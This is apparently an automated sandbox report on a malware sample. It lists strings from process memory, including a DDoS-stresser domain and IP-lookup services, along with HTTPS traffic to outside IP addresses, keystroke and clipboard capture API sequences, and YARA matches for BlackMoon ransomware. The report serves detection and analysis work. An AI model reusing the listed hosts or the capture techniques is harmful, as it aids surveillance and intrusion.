Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.accv.es00
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.ascc.net/xml/schematron
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.ascc.net/xml/schematronhttp://purl.oclc.org/dsdl/schematronallocating
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/0
Source: svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.chambersign.org1
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.cip.cc
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtdConverting
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.oberhumer.com
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.openssl.org/V
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html....................rbwb.rndC:HOMERANDFILEprng
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.zlib.net/D
Source: svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp, ctfmoon.exe	String found in binary or memory: https://api.iproyal.com/https://api6.my-ip.io/ipidna:
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://github.com/Microsoft/clrmd
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://github.com/dotnet/corefx/tree/30ab651fcb4354552bd4891619a0bdd81e0ebdbf
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://github.com/dotnet/corefx/tree/30ab651fcb4354552bd4891619a0bdd81e0ebdbf8
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f8
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://github.com/dotnet/diagnostics
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000000E22000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://github.com/urfave/cli/blob/main/docs/CHANGELOG.mdruntime:
Source: MpMgSvc.exe, 00000015.00000003.3489852982.00000000010CC000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000003.3488791845.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000003.3764343426.00000000010DA000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000002.4106764127.00000000010DB000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://lizardstresser.su
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp, ctfmoon.exe, 00000038.00000002.2294629144.0000000011D8E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.catcert.net/verarrel
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.catcert.net/verarrel05
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.certum.pl/CPS0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.ssl.com/repository0
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m

Source: unknown	Network traffic detected: HTTP traffic on port 57250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52356
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57250
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59431
Source: unknown	Network traffic detected: HTTP traffic on port 61516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59437
Source: unknown	Network traffic detected: HTTP traffic on port 61288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61516
Source: unknown	Network traffic detected: HTTP traffic on port 58231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58231
Source: unknown	Network traffic detected: HTTP traffic on port 59437 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53901
Source: unknown	Network traffic detected: HTTP traffic on port 49324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52818
Source: unknown	Network traffic detected: HTTP traffic on port 50789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59655 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59453
Source: unknown	Network traffic detected: HTTP traffic on port 64788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52593 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56076
Source: unknown	Network traffic detected: HTTP traffic on port 54041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50932
Source: unknown	Network traffic detected: HTTP traffic on port 62519 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58418
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52431
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60183
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59632
Source: unknown	Network traffic detected: HTTP traffic on port 56653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57693
Source: unknown	Network traffic detected: HTTP traffic on port 63674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60852
Source: unknown	Network traffic detected: HTTP traffic on port 57910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64429
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60869
Source: unknown	Network traffic detected: HTTP traffic on port 58828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52338
Source: unknown	Network traffic detected: HTTP traffic on port 60852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64440
Source: unknown	Network traffic detected: HTTP traffic on port 52924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59655
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61288
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 59453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53553
Source: unknown	Network traffic detected: HTTP traffic on port 53901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57910
Source: unknown	Network traffic detected: HTTP traffic on port 54059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54094
Source: unknown	Network traffic detected: HTTP traffic on port 49257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52593
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58331
Source: unknown	Network traffic detected: HTTP traffic on port 62284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53045
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56351 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63769
Source: unknown	Network traffic detected: HTTP traffic on port 52813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63437 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61225
Source: unknown	Network traffic detected: HTTP traffic on port 52818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49213
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52889
Source: unknown	Network traffic detected: HTTP traffic on port 60830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56324
Source: unknown	Network traffic detected: HTTP traffic on port 63231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52338 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62324
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49324
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65056
Source: unknown	Network traffic detected: HTTP traffic on port 61335 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60160
Source: unknown	Network traffic detected: HTTP traffic on port 64429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57673
Source: unknown	Network traffic detected: HTTP traffic on port 49315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55011
Source: unknown	Network traffic detected: HTTP traffic on port 54117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63422
Source: unknown	Network traffic detected: HTTP traffic on port 52356 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60830
Source: unknown	Network traffic detected: HTTP traffic on port 60869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49435
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 59027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63437
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56351
Source: unknown	Network traffic detected: HTTP traffic on port 60694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63674
Source: unknown	Network traffic detected: HTTP traffic on port 54496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53080
Source: unknown	Network traffic detected: HTTP traffic on port 63769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49435 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51980
Source: unknown	Network traffic detected: HTTP traffic on port 61971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57963
Source: unknown	Network traffic detected: HTTP traffic on port 51956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54461
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62519
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58828
Source: unknown	Network traffic detected: HTTP traffic on port 61225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65241
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56522
Source: unknown	Network traffic detected: HTTP traffic on port 56324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53553 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60109
Source: unknown	Network traffic detected: HTTP traffic on port 56899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56653
Source: unknown	Network traffic detected: HTTP traffic on port 65241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54117
Source: unknown	Network traffic detected: HTTP traffic on port 59632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49474
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49232
Source: unknown	Network traffic detected: HTTP traffic on port 52833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54496
Source: unknown	Network traffic detected: HTTP traffic on port 60183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61335
Source: unknown	Network traffic detected: HTTP traffic on port 49232 -> 443

Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.4:59453 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.194.78:443 -> 192.168.2.4:61335 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.194.78:443 -> 192.168.2.4:53553 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.194.78:443 -> 192.168.2.4:59431 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.194.78:443 -> 192.168.2.4:61225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.194.78:443 -> 192.168.2.4:53862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 136.243.150.101:443 -> 192.168.2.4:53901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.131.126:443 -> 192.168.2.4:53901 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture and log keystrokes

Source: C:\Windows\SysWOW64\svchost.exe

Code function: <Enter>

29_2_00409450

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_0040C4F0 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,

29_2_0040C4F0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_0040C4F0 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,

29_2_0040C4F0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_0040C560 OpenClipboard,GetClipboardData,CloseClipboard,GlobalSize,GlobalLock,??2@YAPAXI@Z,GlobalUnlock,CloseClipboard,??3@YAXPAX@Z,

29_2_0040C560

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_00409450 lstrcatA,Sleep,lstrlenA,lstrcatA,GetKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,lstrlenA,lstrlenA,lstrlenA,lstrcatA,

29_2_00409450

Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_0041C3A5 GetKeyState,GetKeyState,GetKeyState,GetKeyState,	0_2_0041C3A5
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_0041EEE1 GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,	0_2_0041EEE1
Source: C:\Windows\Temp\Wmicc.exe	Code function: 55_2_00418881 GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,	55_2_00418881
Source: C:\Windows\Temp\Wmicc.exe	Code function: 55_2_00415CAA GetKeyState,GetKeyState,GetKeyState,GetKeyState,	55_2_00415CAA

Source: Yara match	File source: 26.2.Hooks.exe.1b98d8e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.svchost.exe.11776ac0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Hooks.exe.1b98d8e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Hooks.exe PID: 12108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 12364, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Yara detected BlackMoon Ransomware

Source: Yara match	File source: 0.2.exe1.bin.bak.exe.42854f.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.MpMgSvc.exe.5442d0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Hooks.exe.1b98d8e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.svchost.exe.11776ac0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 55.0.Wmicc.exe.49fae8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 55.0.Wmicc.exe.4242e0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.MpMgSvc.exe.4c8ac8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.exe1.bin.bak.exe.43df2f.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.MpMgSvc.exe.4a47e8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.MpMgSvc.exe.4a47e8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Hooks.exe.1b98d8e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.exe1.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.exe1.bin.bak.exe.448f60.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 55.0.Wmicc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 55.2.Wmicc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000000.2244665996.0000000000424000.00000008.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
